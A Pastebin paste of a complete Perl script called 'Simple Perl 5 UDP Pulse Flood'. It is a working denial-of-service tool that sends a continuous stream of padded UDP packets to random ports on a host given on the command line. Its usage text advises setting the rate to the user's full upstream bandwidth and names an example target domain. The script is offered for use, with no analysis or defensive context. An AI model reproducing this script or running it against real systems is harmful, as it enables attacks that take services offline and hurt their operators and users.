Advertisement
Guest User

UDP.pl

a guest
Aug 17th, 2011
4,897
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.72 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. # Simple Perl 5 UDP Pulse Flood v0.1
  4.  
  5. use strict;
  6. use Socket;
  7.  
  8. sub flood;
  9. sub usage;
  10.  
  11. if(@ARGV < 2) {  &usage();  }
  12.  
  13. my $packs_sent  = 0;
  14. my $packs_sec   = $ARGV[0];
  15. my $target_ip   = $ARGV[1];
  16. my $target_host = $target_ip;
  17.  
  18. if(!($packs_sec =~ m/^\d+$/) || $packs_sec < 1)
  19. {
  20.     print "Minimum 1KBPS.\n";
  21.     exit(1);
  22. }
  23.  
  24. # Fix $target_ip or $target_host to be correct, depending on the input
  25. if($target_host =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
  26. {
  27.     $target_host = gethostbyaddr($target_ip, AF_INET);
  28.     $target_host = "" unless $target_host;
  29. }
  30. else
  31. {
  32.     $target_ip = inet_aton($target_host);
  33.     die "Couldn't translate ",$target_host unless $target_ip;
  34.     $target_ip = inet_ntoa($target_ip);
  35.     die "Couldn't translate opaque ip string" unless $target_ip;
  36. }
  37.  
  38. my $iaddr  = inet_aton($target_ip);
  39. my $proto  = getprotobyname('udp');
  40. my $packet = "X";
  41. foreach(1..1000) { $packet .= "X"; }
  42. $packet   .= "\015\012";
  43.  
  44. print "Beginning udp flood on ",$target_host,"[",$target_ip,"]\n";
  45. my ($port, $paddr, $i);
  46. while(1)
  47. {
  48.     $port  = rand(65535) + 1;
  49.     $paddr = sockaddr_in($port, $iaddr);
  50.     socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!";
  51.     connect(SOCK, $paddr) or die "connect: $!";
  52.     for($i=0;$i<$packs_sec;$i++)
  53.     {
  54.     print SOCK $packet;
  55.     }
  56.     close(SOCK) or die "close: $!";
  57.     sleep(1);
  58.     $|=1;
  59.     $packs_sent += $packs_sec;
  60.     print "\rPackets sent: ",$packs_sent;
  61. }
  62.  
  63. sub usage
  64. {
  65.     print "SIMPLE PULSING UDP FLOOD\n";
  66.     print "USAGE:\t./mt_pulse.pl A B\n";
  67.     print "\t A: KBPS to pulse (set to your upstream for best result)\n";
  68.     print "\t B: Target host or IP. (eg. radicalsroar.com OR 127.0.0.1)\n";
  69.     exit(1);
  70. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement